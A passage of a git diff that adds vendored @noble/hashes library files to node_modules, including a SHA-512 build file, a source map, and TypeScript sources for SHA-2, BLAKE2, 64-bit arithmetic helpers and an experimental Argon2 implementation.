0; + this.El = 0xffc00b31 | 0; + this.Fh = 0x8eb44a87 | 0; + this.Fl = 0x68581511 | 0; + this.Gh = 0xdb0c2e0d | 0; + this.Gl = 0x64f98fa7 | 0; + this.Hh = 0x47b5481d | 0; + this.Hl = 0xbefa4fa4 | 0; + this.outputLen = 48; + } +} +exports.sha512 = (0, utils_js_1.wrapConstructor)(() => new SHA512()); +exports.sha512_224 = (0, utils_js_1.wrapConstructor)(() => new SHA512_224()); +exports.sha512_256 = (0, utils_js_1.wrapConstructor)(() => new SHA512_256()); +exports.sha384 = (0, utils_js_1.wrapConstructor)(() => new SHA384()); +//# sourceMappingURL=sha512.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha512.js.map b/node_modules/@noble/hashes/sha512.js.map new file mode 100644 index 000000000000..700a8e787425 --- /dev/null +++ b/node_modules/@noble/hashes/sha512.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha512.js","sourceRoot":"","sources":["src/sha512.ts"],"names":[],"mappings":";;;AAAA,yCAAkC;AAClC,uCAA4B;AAC5B,yCAA6C;AAE7C,0GAA0G;AAC1G,kBAAkB;AAClB,MAAM,CAAC,SAAS,EAAE,SAAS,CAAC,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE,CAAC,iBAAG,CAAC,KAAK,CAAC;IAC9D,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB;IACtF,oBAAoB,EAAE,oBAAoB,EAAE,oBAAoB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 No newline at end of file diff --git a/node_modules/@noble/hashes/src/_assert.ts b/node_modules/@noble/hashes/src/_assert.ts new file mode 100644 index 000000000000..11d28ea6f951 --- /dev/null +++ b/node_modules/@noble/hashes/src/_assert.ts @@ -0,0 +1,43 @@ +function number(n: number) { + if (!Number.isSafeInteger(n) || n < 0) throw new Error(`Wrong positive integer: ${n}`); +} + +function bool(b: boolean) { + if (typeof b !== 'boolean') throw new Error(`Expected boolean, not ${b}`); +} + +function bytes(b: Uint8Array | undefined, ...lengths: number[]) { + if (!(b instanceof Uint8Array)) throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); +} + +type Hash = { + (data: Uint8Array): Uint8Array; + blockLen: number; + outputLen: number; + create: any; +}; +function hash(hash: Hash) { + if (typeof hash !== 'function' || typeof hash.create !== 'function') + throw new Error('Hash should be wrapped by utils.wrapConstructor'); + number(hash.outputLen); + number(hash.blockLen); +} + +function exists(instance: any, checkFinished = true) { + if (instance.destroyed) throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) throw new Error('Hash#digest() has already been called'); +} +function output(out: any, instance: any) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } +} + +export { number, bool, bytes, hash, exists, output }; + +const assert = { number, bool, bytes, hash, exists, output }; +export default assert; diff --git a/node_modules/@noble/hashes/src/_blake2.ts b/node_modules/@noble/hashes/src/_blake2.ts new file mode 100644 index 000000000000..6aa4a74220f3 --- /dev/null +++ b/node_modules/@noble/hashes/src/_blake2.ts @@ -0,0 +1,128 @@ +import { number, exists, output } from './_assert.js'; +import { Hash, Input, toBytes, u32 } from './utils.js'; + +// Blake is based on ChaCha permutation. + +// For BLAKE2b, the two extra permutations for rounds 10 and 11 are SIGMA[10..11] = SIGMA[0..1]. +// prettier-ignore +export const SIGMA = /* @__PURE__ */ new Uint8Array([ + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, + 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4, + 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8, + 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13, + 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9, + 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11, + 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10, + 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5, + 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, +]); + +export type BlakeOpts = { + dkLen?: number; + key?: Input; + salt?: Input; + personalization?: Input; +}; + +export abstract class BLAKE2> extends Hash { + protected abstract compress(msg: Uint32Array, offset: number, isLast: boolean): void; + protected abstract get(): number[]; + protected abstract set(...args: number[]): void; + abstract destroy(): void; + protected buffer: Uint8Array; + protected buffer32: Uint32Array; + protected length: number = 0; + protected pos: number = 0; + protected finished = false; + protected destroyed = false; + + constructor( + readonly blockLen: number, + public outputLen: number, + opts: BlakeOpts = {}, + keyLen: number, + saltLen: number, + persLen: number + ) { + super(); + number(blockLen); + number(outputLen); + number(keyLen); + if (outputLen < 0 || outputLen > keyLen) throw new Error('outputLen bigger than keyLen'); + if (opts.key !== undefined && (opts.key.length < 1 || opts.key.length > keyLen)) + throw new Error(`key must be up 1..${keyLen} byte long or undefined`); + if (opts.salt !== undefined && opts.salt.length !== saltLen) + throw new Error(`salt must be ${saltLen} byte long or undefined`); + if (opts.personalization !== undefined && opts.personalization.length !== persLen) + throw new Error(`personalization must be ${persLen} byte long or undefined`); + this.buffer32 = u32((this.buffer = new Uint8Array(blockLen))); + } + update(data: Input) { + exists(this); + // Main difference with other hashes: there is flag for last block, + // so we cannot process current block before we know that there + // is the next one. This significantly complicates logic and reduces ability + // to do zero-copy processing + const { blockLen, buffer, buffer32 } = this; + data = toBytes(data); + const len = data.length; + const offset = data.byteOffset; + const buf = data.buffer; + for (let pos = 0; pos < len; ) { + // If buffer is full and we still have input (don't process last block, same as blake2s) + if (this.pos === blockLen) { + this.compress(buffer32, 0, false); + this.pos = 0; + } + const take = Math.min(blockLen - this.pos, len - pos); + const dataOffset = offset + pos; + // full block && aligned to 4 bytes && not last in input + if (take === blockLen && !(dataOffset % 4) && pos + take < len) { + const data32 = new Uint32Array(buf, dataOffset, Math.floor((len - pos) / 4)); + for (let pos32 = 0; pos + blockLen < len; pos32 += buffer32.length, pos += blockLen) { + this.length += blockLen; + this.compress(data32, pos32, false); + } + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + this.length += take; + pos += take; + } + return this; + } + digestInto(out: Uint8Array) { + exists(this); + output(out, this); + const { pos, buffer32 } = this; + this.finished = true; + // Padding + this.buffer.subarray(pos).fill(0); + this.compress(buffer32, 0, true); + const out32 = u32(out); + this.get().forEach((v, i) => (out32[i] = v)); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to?: T): T { + const { buffer, length, finished, destroyed, outputLen, pos } = this; + to ||= new (this.constructor as any)({ dkLen: outputLen }) as T; + to.set(...this.get()); + to.length = length; + to.finished = finished; + to.destroyed = destroyed; + to.outputLen = outputLen; + to.buffer.set(buffer); + to.pos = pos; + return to; + } +} diff --git a/node_modules/@noble/hashes/src/_sha2.ts b/node_modules/@noble/hashes/src/_sha2.ts new file mode 100644 index 000000000000..bd991036b13d --- /dev/null +++ b/node_modules/@noble/hashes/src/_sha2.ts @@ -0,0 +1,118 @@ +import { exists, output } from './_assert.js'; +import { Hash, createView, Input, toBytes } from './utils.js'; + +// Polyfill for Safari 14 +function setBigUint64(view: DataView, byteOffset: number, value: bigint, isLE: boolean): void { + if (typeof view.setBigUint64 === 'function') return view.setBigUint64(byteOffset, value, isLE); + const _32n = BigInt(32); + const _u32_max = BigInt(0xffffffff); + const wh = Number((value >> _32n) & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE ? 4 : 0; + const l = isLE ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE); + view.setUint32(byteOffset + l, wl, isLE); +} + +// Base SHA2 class (RFC 6234) +export abstract class SHA2> extends Hash { + protected abstract process(buf: DataView, offset: number): void; + protected abstract get(): number[]; + protected abstract set(...args: number[]): void; + abstract destroy(): void; + protected abstract roundClean(): void; + // For partial updates less than block size + protected buffer: Uint8Array; + protected view: DataView; + protected finished = false; + protected length = 0; + protected pos = 0; + protected destroyed = false; + + constructor( + readonly blockLen: number, + public outputLen: number, + readonly padOffset: number, + readonly isLE: boolean + ) { + super(); + this.buffer = new Uint8Array(blockLen); + this.view = createView(this.buffer); + } + update(data: Input): this { + exists(this); + const { view, buffer, blockLen } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len; ) { + const take = Math.min(blockLen - this.pos, len - pos); + // Fast path: we have at least one block in input, cast it to view and process + if (take === blockLen) { + const dataView = createView(data); + for (; blockLen <= len - pos; pos += blockLen) this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out: Uint8Array) { + exists(this); + output(out, this); + this.finished = true; + // Padding + // We can avoid allocation of buffer for padding completely if it + // was previously not allocated here. But it won't change performance. + const { buffer, view, blockLen, isLE } = this; + let { pos } = this; + // append the bit '1' to the message + buffer[pos++] = 0b10000000; + this.buffer.subarray(pos).fill(0); + // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + // Pad until full block byte with zeros + for (let i = pos; i < blockLen; i++) buffer[i] = 0; + // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that + // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen. + // So we just write lowest 64 bits of that value. + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE); + this.process(view, 0); + const oview = createView(out); + const len = this.outputLen; + // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT + if (len % 4) throw new Error('_sha2: outputLen should be aligned to 32bit'); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) throw new Error('_sha2: outputLen bigger than state'); + for (let i = 0; i < outLen; i++) oview.setUint32(4 * i, state[i], isLE); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to?: T): T { + to ||= new (this.constructor as any)() as T; + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.length = length; + to.pos = pos; + to.finished = finished; + to.destroyed = destroyed; + if (length % blockLen) to.buffer.set(buffer); + return to; + } +} diff --git a/node_modules/@noble/hashes/src/_u64.ts b/node_modules/@noble/hashes/src/_u64.ts new file mode 100644 index 000000000000..efc55b45347f --- /dev/null +++ b/node_modules/@noble/hashes/src/_u64.ts @@ -0,0 +1,77 @@ +const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +const _32n = /* @__PURE__ */ BigInt(32); + +// We are not using BigUint64Array, because they are extremely slow as per 2022 +function fromBig(n: bigint, le = false) { + if (le) return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} + +function split(lst: bigint[], le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} + +const toBig = (h: number, l: number) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0); +// for Shift in [0, 32) +const shrSH = (h: number, _l: number, s: number) => h >>> s; +const shrSL = (h: number, l: number, s: number) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in [1, 32) +const rotrSH = (h: number, l: number, s: number) => (h >>> s) | (l << (32 - s)); +const rotrSL = (h: number, l: number, s: number) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotrBH = (h: number, l: number, s: number) => (h << (64 - s)) | (l >>> (s - 32)); +const rotrBL = (h: number, l: number, s: number) => (h >>> (s - 32)) | (l << (64 - s)); +// Right rotate for shift===32 (just swaps l&h) +const rotr32H = (_h: number, l: number) => l; +const rotr32L = (h: number, _l: number) => h; +// Left rotate for Shift in [1, 32) +const rotlSH = (h: number, l: number, s: number) => (h << s) | (l >>> (32 - s)); +const rotlSL = (h: number, l: number, s: number) => (l << s) | (h >>> (32 - s)); +// Left rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotlBH = (h: number, l: number, s: number) => (l << (s - 32)) | (h >>> (64 - s)); +const rotlBL = (h: number, l: number, s: number) => (h << (s - 32)) | (l >>> (64 - s)); + +// JS uses 32-bit signed integers for bitwise operations which means we cannot +// simple take carry out of low bit sum by shift, we need to use division. +function add(Ah: number, Al: number, Bh: number, Bl: number) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 }; +} +// Addition with more than 2 elements +const add3L = (Al: number, Bl: number, Cl: number) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); +const add3H = (low: number, Ah: number, Bh: number, Ch: number) => + (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0; +const add4L = (Al: number, Bl: number, Cl: number, Dl: number) => + (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); +const add4H = (low: number, Ah: number, Bh: number, Ch: number, Dh: number) => + (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0; +const add5L = (Al: number, Bl: number, Cl: number, Dl: number, El: number) => + (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); +const add5H = (low: number, Ah: number, Bh: number, Ch: number, Dh: number, Eh: number) => + (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0; + +// prettier-ignore +export { + fromBig, split, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, +}; +// prettier-ignore +const u64 = { + fromBig, split, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, +}; +export default u64; diff --git a/node_modules/@noble/hashes/src/argon2.ts b/node_modules/@noble/hashes/src/argon2.ts new file mode 100644 index 000000000000..d727b0f89ac1 --- /dev/null +++ b/node_modules/@noble/hashes/src/argon2.ts @@ -0,0 +1,374 @@ +import { number as assertNumber } from './_assert.js'; +import { Input, toBytes, u8, u32 } from './utils.js'; +import { blake2b } from './blake2b.js'; +import { add3H, add3L, rotr32H, rotr32L, rotrBH, rotrBL, rotrSH, rotrSL } from './_u64.js'; + +// Experimental Argon2 RFC 9106 implementation. It may be removed at any time. +const enum Types { + Argond2d = 0, + Argon2i = 1, + Argon2id = 2, +} + +const ARGON2_SYNC_POINTS = 4; + +const toBytesOptional = (buf?: Input) => (buf !== undefined ? toBytes(buf) : new Uint8Array([])); + +function mul(a: number, b: number) { + const aL = a & 0xffff; + const aH = a >>> 16; + const bL = b & 0xffff; + const bH = b >>> 16; + const ll = Math.imul(aL, bL); + const hl = Math.imul(aH, bL); + const lh = Math.imul(aL, bH); + const hh = Math.imul(aH, bH); + const BUF = ((ll >>> 16) + (hl & 0xffff) + lh) | 0; + const h = ((hl >>> 16) + (BUF >>> 16) + hh) | 0; + return { h, l: (BUF << 16) | (ll & 0xffff) }; +} + +function relPos(areaSize: number, relativePos: number) { + // areaSize - 1 - ((areaSize * ((relativePos ** 2) >>> 32)) >>> 32) + return areaSize - 1 - mul(areaSize, mul(relativePos, relativePos).h).h; +} + +function mul2(a: number, b: number) { + // 2 * a * b (via shifts) + const { h, l } = mul(a, b); + return { h: ((h << 1) | (l >>> 31)) & 0xffff_ffff, l: (l << 1) & 0xffff_ffff }; +} + +function blamka(Ah: number, Al: number, Bh: number, Bl: number) { + const { h: Ch, l: Cl } = mul2(Al, Bl); + // A + B + (2 * A * B) + const Rll = add3L(Al, Bl, Cl); + return { h: add3H(Rll, Ah, Bh, Ch), l: Rll | 0 }; +} + +// Temporary block buffer +const BUF = new Uint32Array(256); + +function G(a: number, b: number, c: number, d: number) { + let Al = BUF[2*a], Ah = BUF[2*a + 1]; // prettier-ignore + let Bl = BUF[2*b], Bh = BUF[2*b + 1]; // prettier-ignore + let Cl = BUF[2*c], Ch = BUF[2*c + 1]; // prettier-ignore + let Dl = BUF[2*d], Dh = BUF[2*d + 1]; // prettier-ignore + + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: rotr32H(Dh, Dl), Dl: rotr32L(Dh, Dl) }); + + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: rotrSH(Bh, Bl, 24), Bl: rotrSL(Bh, Bl, 24) }); + + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: rotrSH(Dh, Dl, 16), Dl: rotrSL(Dh, Dl, 16) }); + + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: rotrBH(Bh, Bl, 63), Bl: rotrBL(Bh, Bl, 63) }); + + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} + +// prettier-ignore +function P( + v00: number, v01: number, v02: number, v03: number, v04: number, v05: number, v06: number, v07: number, + v08: number, v09: number, v10: number, v11: number, v12: number, v13: number, v14: number, v15: number, +) { + G(v00, v04, v08, v12); + G(v01, v05, v09, v13); + G(v02, v06, v10, v14); + G(v03, v07, v11, v15); + G(v00, v05, v10, v15); + G(v01, v06, v11, v12); + G(v02, v07, v08, v13); + G(v03, v04, v09, v14); +} + +function block(x: Uint32Array, xPos: number, yPos: number, outPos: number, needXor: boolean) { + for (let i = 0; i < 256; i++) BUF[i] = x[xPos + i] ^ x[yPos + i]; + + // columns + for (let i = 0; i < 128; i += 16) { + // prettier-ignore + P( + i, i + 1, i + 2, i + 3, i + 4, i + 5, i + 6, i + 7, + i + 8, i + 9, i + 10, i + 11, i + 12, i + 13, i + 14, i + 15 + ); + } + // rows + for (let i = 0; i < 16; i += 2) { + // prettier-ignore + P( + i, i + 1, i + 16, i + 17, i + 32, i + 33, i + 48, i + 49, + i + 64, i + 65, i + 80, i + 81, i + 96, i + 97, i + 112, i + 113 + ); + } + + if (needXor) for (let i = 0; i < 256; i++) x[outPos + i] ^= BUF[i] ^ x[xPos + i] ^ x[yPos + i]; + else for (let i = 0; i < 256; i++) x[outPos + i] = BUF[i] ^ x[xPos + i] ^ x[yPos + i]; +} + +// Variable-Length Hash Function H' +function Hp(A: Uint32Array, dkLen: number) { + const A8 = u8(A); + const T = new Uint32Array(1); + const T8 = u8(T); + T[0] = dkLen; + // Fast path + if (dkLen <= 64) return blake2b.create({ dkLen }).update(T8).update(A8).digest(); + const out = new Uint8Array(dkLen); + let V = blake2b.create({}).update(T8).update(A8).digest(); + let pos = 0; + // First block + out.set(V.subarray(0, 32)); + pos += 32; + // Rest blocks + for (; dkLen - pos > 64; pos += 32) out.set((V = blake2b(V)).subarray(0, 32), pos); + // Last block + out.set(blake2b(V, { dkLen: dkLen - pos }), pos); + return u32(out); +} + +function indexAlpha( + r: number, + s: number, + laneLen: number, + segmentLen: number, + index: number, + randL: number, + sameLane: boolean = false +) { + let area; + if (0 == r) { + if (0 == s) area = index - 1; + else if (sameLane) area = s * segmentLen + index - 1; + else area = s * segmentLen + (index == 0 ? -1 : 0); + } else if (sameLane) area = laneLen - segmentLen + index - 1; + else area = laneLen - segmentLen + (index == 0 ? -1 : 0); + const startPos = r !== 0 && s !== ARGON2_SYNC_POINTS - 1 ? (s + 1) * segmentLen : 0; + const rel = relPos(area, randL); + // NOTE: check about overflows here + // absPos = (startPos + relPos) % laneLength; + return (startPos + rel) % laneLen; +} + +// RFC 9106 +export type ArgonOpts = { + t: number; // Time cost, iterations count + m: number; // Memory cost (in KB) + p: number; // Parallelization parameter + version?: number; // Default: 0x13 (19) + key?: Input; // Optional key + personalization?: Input; // Optional arbitrary extra data + dkLen?: number; // Desired number of returned bytes + asyncTick?: number; // Maximum time in ms for which async function can block execution + maxmem?: number; + onProgress?: (progress: number) => void; +}; + +function argon2Init(type: Types, password: Input, salt: Input, opts: ArgonOpts) { + password = toBytes(password); + salt = toBytes(salt); + let { p, dkLen, m, t, version, key, personalization, maxmem, onProgress } = { + ...opts, + version: opts.version || 0x13, + dkLen: opts.dkLen || 32, + maxmem: 2 ** 32, + }; + // Validation + assertNumber(p); + assertNumber(dkLen); + assertNumber(m); + assertNumber(t); + assertNumber(version); + if (dkLen < 4 || dkLen >= 2 ** 32) throw new Error('Argon2: dkLen should be at least 4 bytes'); + if (p < 1 || p >= 2 ** 32) throw new Error('Argon2: p (parallelism) should be at least 1'); + if (t < 1 || t >= 2 ** 32) throw new Error('Argon2: t (iterations) should be at least 1'); + if (m < 8 * p) throw new Error(`Argon2: memory should be at least 8*p bytes`); + if (version !== 16 && version !== 19) throw new Error(`Argon2: unknown version=${version}`); + password = toBytes(password); + if (password.length < 0 || password.length >= 2 ** 32) + throw new Error('Argon2: password should be less than 4 GB'); + salt = toBytes(salt); + if (salt.length < 8) throw new Error('Argon2: salt should be at least 8 bytes'); + key = toBytesOptional(key); + personalization = toBytesOptional(personalization); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + // Params + const lanes = p; + // m' = 4 * p * floor (m / 4p) + const mP = 4 * p * Math.floor(m / (ARGON2_SYNC_POINTS * p)); + //q = m' / p columns + const laneLen = Math.floor(mP / p); + const segmentLen = Math.floor(laneLen / ARGON2_SYNC_POINTS); + // H0 + const h = blake2b.create({}); + const BUF = new Uint32Array(1); + const BUF8 = u8(BUF); + for (const i of [p, dkLen, m, t, version, type]) { + if (i < 0 || i >= 2 ** 32) throw new Error(`Argon2: wrong parameter=${i}, expected uint32`); + BUF[0] = i; + h.update(BUF8); + } + for (let i of [password, salt, key, personalization]) { + BUF[0] = i.length; + h.update(BUF8).update(i); + } + const H0 = new Uint32Array(18); + const H0_8 = u8(H0); + h.digestInto(H0_8); + + // 256 u32 = 1024 (BLOCK_SIZE) + const memUsed = mP * 256; + if (memUsed < 0 || memUsed >= 2 ** 32 || memUsed > maxmem) { + throw new Error( + `Argon2: wrong params (memUsed=${memUsed} maxmem=${maxmem}), should be less than 2**32` + ); + } + const B = new Uint32Array(memUsed); + // Fill first blocks + for (let l = 0; l < p; l++) { + const i = 256 * laneLen * l; + // B[i][0] = H'^(1024)(H_0 || LE32(0) || LE32(i)) + H0[17] = l; + H0[16] = 0; + B.set(Hp(H0, 1024), i); + // B[i][1] = H'^(1024)(H_0 || LE32(1) || LE32(i)) + H0[16] = 1; + B.set(Hp(H0, 1024), i + 256); + } + let perBlock = () => {}; + if (onProgress) { + const totalBlock = t * ARGON2_SYNC_POINTS * p * segmentLen; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlock / 10000), 1); + let blockCnt = 0; + perBlock = () => { + blockCnt++; + if (onProgress && (!(blockCnt % callbackPer) || blockCnt === totalBlock)) + onProgress(blockCnt / totalBlock); + }; + } + return { type, mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock }; +} + +function argon2Output(B: Uint32Array, p: number, laneLen: number, dkLen: number) { + const B_final = new Uint32Array(256); + for (let l = 0; l < p; l++) + for (let j = 0; j < 256; j++) B_final[j] ^= B[256 * (laneLen * l + laneLen - 1) + j]; + return u8(Hp(B_final, dkLen)); +} + +function processBlock( + B: Uint32Array, + address: Uint32Array, + l: number, + r: number, + s: number, + index: number, + laneLen: number, + segmentLen: number, + lanes: number, + offset: number, + prev: number, + dataIndependent: boolean, + needXor: boolean +) { + if (offset % laneLen) prev = offset - 1; + let randL, randH; + if (dataIndependent) { + if (index % 128 === 0) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + randL = address[2 * (index % 128)]; + randH = address[2 * (index % 128) + 1]; + } else { + const T = 256 * prev; + randL = B[T]; + randH = B[T + 1]; + } + // address block + const refLane = r === 0 && s === 0 ? l : randH % lanes; + const refPos = indexAlpha(r, s, laneLen, segmentLen, index, randL, refLane == l); + const refBlock = laneLen * refLane + refPos; + // B[i][j] = G(B[i][j-1], B[l][z]) + block(B, 256 * prev, 256 * refBlock, offset * 256, needXor); +} + +function argon2(type: Types, password: Input, salt: Input, opts: ArgonOpts) { + const { mP, p, t, version, B, laneLen, lanes, segmentLen, dkLen, perBlock } = argon2Init( + type, + password, + salt, + opts + ); + // Pre-loop setup + // [address, input, zero_block] format so we can pass single U32 to block function + const address = new Uint32Array(3 * 256); + address[256 + 6] = mP; + address[256 + 8] = t; + address[256 + 10] = type; + for (let r = 0; r < t; r++) { + const needXor = r !== 0 && version === 0x13; + address[256 + 0] = r; + for (let s = 0; s < ARGON2_SYNC_POINTS; s++) { + address[256 + 4] = s; + const dataIndependent = type == Types.Argon2i || (type == Types.Argon2id && r === 0 && s < 2); + for (let l = 0; l < p; l++) { + address[256 + 2] = l; + address[256 + 12] = 0; + let startPos = 0; + if (r === 0 && s === 0) { + startPos = 2; + if (dataIndependent) { + address[256 + 12]++; + block(address, 256, 2 * 256, 0, false); + block(address, 0, 2 * 256, 0, false); + } + } + // current block postion + let offset = l * laneLen + s * segmentLen + startPos; + // previous block position + let prev = offset % laneLen ? offset - 1 : offset + laneLen - 1; + for (let index = startPos; index < segmentLen; index++, offset++, prev++) { + perBlock(); + processBlock( + B, + address, + l, + r, + s, + index, + laneLen, + segmentLen, + lanes, + offset, + prev, + dataIndependent, + needXor + ); + } + } + } + } + return argon2Output(B, p, laneLen, dkLen); +} + +export const argon2d = (password: Input, salt: Input, opts: ArgonOpts) => + argon2(Types.Argond2d, password, salt, opts); +export const argon2i = (password: Input, salt: Input, opts: ArgonOpts) => + argon2(Types.Argon2i, password, salt, opts); +export const argon2id = (password: Input, salt: Input, opts: ArgonOpts) => + argon2(Types.Argon2id, password, salt, opts); diff --git a/node_modules/@noble/hashes/src/blake2b.ts b/node_modules/@noble/hashes/src/blake2b.ts new file mode 100644 index 000000000000..57847424e223 --- /dev/null +++ b/node_modules/@noble/hashes/src/blake2b.ts @@ -0,0 +1,205 @@ +import { BLAKE2, BlakeOpts, SIGMA } from './_blake2.js'; +import u64 from './_u64.js'; +import { toBytes, u32, wrapConstructorWithOpts } from './utils.js'; + +// Same as SHA-512 but LE +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0xf3bcc908, 0x6a09e667, 0x84caa73b, 0xbb67ae85, 0xfe94f82b, 0x3c6ef372, 0x5f1d36f1, 0xa54ff53a, + 0xade682d1, 0x510e527f, 0x2b3e6c1f, 0x9b05688c, 0xfb41bd6b, 0x1f83d9ab, 0x137e2179, 0x5be0cd19 +]); +// Temporary buffer +const BUF = /* @__PURE__ */ new Uint32Array(32); + +// Mixing function G splitted in two halfs +function G1(a: number, b: number, c: number, d: number, msg: Uint32Array, x: number) { + // NOTE: V is LE here + const Xl = msg[x], Xh = msg[x + 1]; // prettier-ignore + let Al = 